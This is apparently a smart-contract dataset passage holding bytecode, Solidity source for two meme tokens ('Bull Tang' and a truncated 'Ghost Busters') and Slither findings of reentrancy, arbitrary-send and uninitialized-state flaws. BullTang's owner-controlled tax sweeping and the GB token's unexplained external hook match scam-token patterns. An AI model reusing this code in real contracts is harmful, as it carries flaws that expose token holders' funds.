06000828254611e1a9190612627565b92505081905550436004600b54611e319190612627565b118015611e8b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611efb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611eee9190612bbe565b60405180910390a3611f61565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f589190612037565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fab82611f80565b9050919050565b611fbb81611fa0565b8114611fc657600080fd5b50565b600081359050611fd881611fb2565b92915050565b60008060408385031215611ff557611ff4611f76565b5b600061200385828601611fc9565b925050602061201485828601611fc9565b9150509250929050565b6000819050919050565b6120318161201e565b82525050565b600060208201905061204c6000830184612028565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208c578082015181840152602081019050612071565b8381111561209b576000848401525b50505050565b6000601f19601f8301169050919050565b60006120bd82612052565b6120c7818561205d565b93506120d781856020860161206e565b6120e0816120a1565b840191505092915050565b6000602082019050818103600083015261210581846120b2565b905092915050565b6121168161201e565b811461212157600080fd5b50565b6000813590506121338161210d565b92915050565b600080604083850312156121505761214f611f76565b5b600061215e85828601611fc9565b925050602061216f85828601612124565b9150509250929050565b60008115159050919050565b61218e81612179565b82525050565b60006020820190506121a96000830184612185565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121ec826120a1565b810181811067ffffffffffffffff8211171561220b5761220a6121b4565b5b80604052505050565b600061221e611f6c565b905061222a82826121e3565b919050565b600067ffffffffffffffff82111561224a576122496121b4565b5b602082029050602081019050919050565b600080fd5b600061227361226e8461222f565b612214565b905080838252602082019050602084028301858111156122965761229561225b565b5b835b818110156122bf57806122ab8882611fc9565b845260208401935050602081019050612298565b5050509392505050565b600082601f8301126122de576122dd6121af565b5b81356122ee848260208601612260565b91505092915050565b60006020828403121561230d5761230c611f76565b5b600082013567ffffffffffffffff81111561232b5761232a611f7b565b5b612337848285016122c9565b91505092915050565b60008060006060848603121561235957612358611f76565b5b600061236786828701611fc9565b935050602061237886828701611fc9565b925050604061238986828701612124565b9150509250925092565b600060ff82169050919050565b6123a981612393565b82525050565b60006020820190506123c460008301846123a0565b92915050565b6000602082840312156123e0576123df611f76565b5b60006123ee84828501611fc9565b91505092915050565b61240081611fa0565b82525050565b600060208201905061241b60008301846123f7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061246857607f821691505b6020821081141561247c5761247b612421565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124eb8261201e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561251e5761251d6124b1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061258560288361205d565b915061259082612529565b604082019050919050565b600060208201905081810360008301526125b481612578565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006125f1601f8361205d565b91506125fc826125bb565b602082019050919050565b60006020820190508181036000830152612620816125e4565b9050919050565b60006126328261201e565b915061263d8361201e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612672576126716124b1565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006126b360178361205d565b91506126be8261267d565b602082019050919050565b600060208201905081810360008301526126e2816126a6565b9050919050565b6000815190506126f881611fb2565b92915050565b60006020828403121561271457612713611f76565b5b6000612722848285016126e9565b91505092915050565b600060408201905061274060008301856123f7565b61274d60208301846123f7565b9392505050565b6000819050919050565b6000819050919050565b600061278361277e61277984612754565b61275e565b61201e565b9050919050565b61279381612768565b82525050565b600060c0820190506127ae60008301896123f7565b6127bb6020830188612028565b6127c8604083018761278a565b6127d5606083018661278a565b6127e260808301856123f7565b6127ef60a0830184612028565b979650505050505050565b6000815190506128098161210d565b92915050565b60008060006060848603121561282857612827611f76565b5b6000612836868287016127fa565b9350506020612847868287016127fa565b9250506040612858868287016127fa565b9150509250925092565b600060408201905061287760008301856123f7565b6128846020830184612028565b9392505050565b61289481612179565b811461289f57600080fd5b50565b6000815190506128b18161288b565b92915050565b6000602082840312156128cd576128cc611f76565b5b60006128db848285016128a2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061294060248361205d565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129d260228361205d565b91506129dd82612976565b604082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a6460258361205d565b9150612a6f82612a08565b604082019050919050565b60006020820190508181036000830152612a9381612a57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612af660238361205d565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b8860268361205d565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b6000602082019050612bd3600083018461278a565b9291505056fea264697066735822122077714871eb335aaa6cc49c447d646b0e201ca02fc22f323fd8560e283e3c937d64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,291 |
0xde37D13A1931e97bd9dd7a9b694Cff411EE1e3F2
|
//SPDX-License-Identifier: None
// Telegram: t.me/bulltang
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="BULLTANG";
string constant TOKEN_NAME="Bull Tang";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract BullTang is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a5578063a9059cbb146102c5578063dd62ed3e146102e5578063f42938901461032b57600080fd5b806370a0823114610217578063715018a6146102375780638da5cb5b1461024c57806395d89b411461027457600080fd5b8063293230b8116100c6578063293230b8146101ba578063313ce567146101d15780633e07ce5b146101ed57806351bc3c851461020257600080fd5b806306fdde0314610103578063095ea7b31461014757806318160ddd1461017757806323b872dd1461019a57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600981526842756c6c2054616e6760b81b60208201525b60405161013e919061139f565b60405180910390f35b34801561015357600080fd5b50610167610162366004611409565b610340565b604051901515815260200161013e565b34801561018357600080fd5b5061018c610357565b60405190815260200161013e565b3480156101a657600080fd5b506101676101b5366004611435565b610378565b3480156101c657600080fd5b506101cf6103e1565b005b3480156101dd57600080fd5b506040516006815260200161013e565b3480156101f957600080fd5b506101cf610759565b34801561020e57600080fd5b506101cf61078f565b34801561022357600080fd5b5061018c610232366004611476565b6107bc565b34801561024357600080fd5b506101cf6107de565b34801561025857600080fd5b506000546040516001600160a01b03909116815260200161013e565b34801561028057600080fd5b5060408051808201909152600881526742554c4c54414e4760c01b6020820152610131565b3480156102b157600080fd5b506101cf6102c0366004611493565b610882565b3480156102d157600080fd5b506101676102e0366004611409565b6108ab565b3480156102f157600080fd5b5061018c6103003660046114ac565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033757600080fd5b506101cf6108b8565b600061034d338484610922565b5060015b92915050565b60006103656006600a6115df565b610373906305f5e1006115ee565b905090565b6000610385848484610a46565b6103d784336103d285604051806060016040528060288152602001611753602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ccb565b610922565b5060019392505050565b6009546001600160a01b031633146103f857600080fd5b600c54600160a01b900460ff16156104575760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104839030906001600160a01b03166104756006600a6115df565b6103d2906305f5e1006115ee565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fa919061160d565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610580919061160d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f1919061160d565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610621816107bc565b6000806106366000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561069e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c3919061162a565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610732573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107569190611658565b50565b6009546001600160a01b0316331461077057600080fd5b61077c6006600a6115df565b61078a906305f5e1006115ee565b600a55565b6009546001600160a01b031633146107a657600080fd5b60006107b1306107bc565b905061075681610d05565b6001600160a01b03811660009081526002602052604081205461035190610e7f565b6000546001600160a01b031633146108385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089957600080fd5b600981106108a657600080fd5b600855565b600061034d338484610a46565b6009546001600160a01b031633146108cf57600080fd5b4761075681610efc565b600061091b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3a565b9392505050565b6001600160a01b0383166109845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044e565b6001600160a01b0382166109e55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aaa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044e565b6001600160a01b038216610b0c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044e565b60008111610b6e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044e565b6000546001600160a01b03848116911614801590610b9a57506000546001600160a01b03838116911614155b15610cbb57600c546001600160a01b038481169116148015610bca5750600b546001600160a01b03838116911614155b8015610bef57506001600160a01b03821660009081526004602052604090205460ff16155b15610c4557600a548110610c455760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161044e565b6000610c50306107bc565b600c54909150600160a81b900460ff16158015610c7b5750600c546001600160a01b03858116911614155b8015610c905750600c54600160b01b900460ff165b15610cb957610c9e81610d05565b47670de0b6b3a76400008110610cb757610cb747610efc565b505b505b610cc6838383610f68565b505050565b60008184841115610cef5760405162461bcd60e51b815260040161044e919061139f565b506000610cfc848661167a565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4d57610d4d611691565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dca919061160d565b81600181518110610ddd57610ddd611691565b6001600160a01b039283166020918202929092010152600b54610e039130911684610922565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e3c9085906000908690309042906004016116a7565b600060405180830381600087803b158015610e5657600080fd5b505af1158015610e6a573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610ee65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044e565b6000610ef0610f73565b905061091b83826108d9565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f36573d6000803e3d6000fd5b5050565b60008183610f5b5760405162461bcd60e51b815260040161044e919061139f565b506000610cfc8486611718565b610cc6838383610f96565b6000806000610f8061108d565b9092509050610f8f82826108d9565b9250505090565b600080600080600080610fa88761110f565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fda908761116c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100990866111ae565b6001600160a01b03891660009081526002602052604090205561102b8161120d565b6110358483611257565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107a91815260200190565b60405180910390a3505050505050505050565b6005546000908190816110a26006600a6115df565b6110b0906305f5e1006115ee565b90506110d86110c16006600a6115df565b6110cf906305f5e1006115ee565b600554906108d9565b821015611106576005546110ee6006600a6115df565b6110fc906305f5e1006115ee565b9350935050509091565b90939092509050565b600080600080600080600080600061112c8a60075460085461127b565b925092509250600061113c610f73565b9050600080600061114f8e8787876112d0565b919e509c509a509598509396509194505050505091939550919395565b600061091b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ccb565b6000806111bb838561173a565b90508381101561091b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044e565b6000611217610f73565b905060006112258383611320565b3060009081526002602052604090205490915061124290826111ae565b30600090815260026020526040902055505050565b600554611264908361116c565b60055560065461127490826111ae565b6006555050565b6000808080611295606461128f8989611320565b906108d9565b905060006112a8606461128f8a89611320565b905060006112c0826112ba8b8661116c565b9061116c565b9992985090965090945050505050565b60008080806112df8886611320565b905060006112ed8887611320565b905060006112fb8888611320565b9050600061130d826112ba868661116c565b939b939a50919850919650505050505050565b60008261132f57506000610351565b600061133b83856115ee565b9050826113488583611718565b1461091b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044e565b600060208083528351808285015260005b818110156113cc578581018301518582016040015282016113b0565b818111156113de576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075657600080fd5b6000806040838503121561141c57600080fd5b8235611427816113f4565b946020939093013593505050565b60008060006060848603121561144a57600080fd5b8335611455816113f4565b92506020840135611465816113f4565b929592945050506040919091013590565b60006020828403121561148857600080fd5b813561091b816113f4565b6000602082840312156114a557600080fd5b5035919050565b600080604083850312156114bf57600080fd5b82356114ca816113f4565b915060208301356114da816113f4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561153657816000190482111561151c5761151c6114e5565b8085161561152957918102915b93841c9390800290611500565b509250929050565b60008261154d57506001610351565b8161155a57506000610351565b8160018114611570576002811461157a57611596565b6001915050610351565b60ff84111561158b5761158b6114e5565b50506001821b610351565b5060208310610133831016604e8410600b84101617156115b9575081810a610351565b6115c383836114fb565b80600019048211156115d7576115d76114e5565b029392505050565b600061091b60ff84168361153e565b6000816000190483118215151615611608576116086114e5565b500290565b60006020828403121561161f57600080fd5b815161091b816113f4565b60008060006060848603121561163f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166a57600080fd5b8151801515811461091b57600080fd5b60008282101561168c5761168c6114e5565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f75784516001600160a01b0316835293830193918301916001016116d2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261173557634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561174d5761174d6114e5565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122037509c34c3cb21c9593af8abbe135724a206b1081a976b529c8a57e796018cf064736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,292 |
0x00fb26442b4ec5f1fce55e4246102f06f0b7b76d
|
/**
*Submitted for verification at Etherscan.io on 2021-11-21
*/
//SPDX-License-Identifier: MIT
// Telegram: https://t.me/GhostbustersToken
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=8;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=240000000;
string constant TOKEN_SYMBOL="GB";
string constant TOKEN_NAME="Ghost Busters";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract GBToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
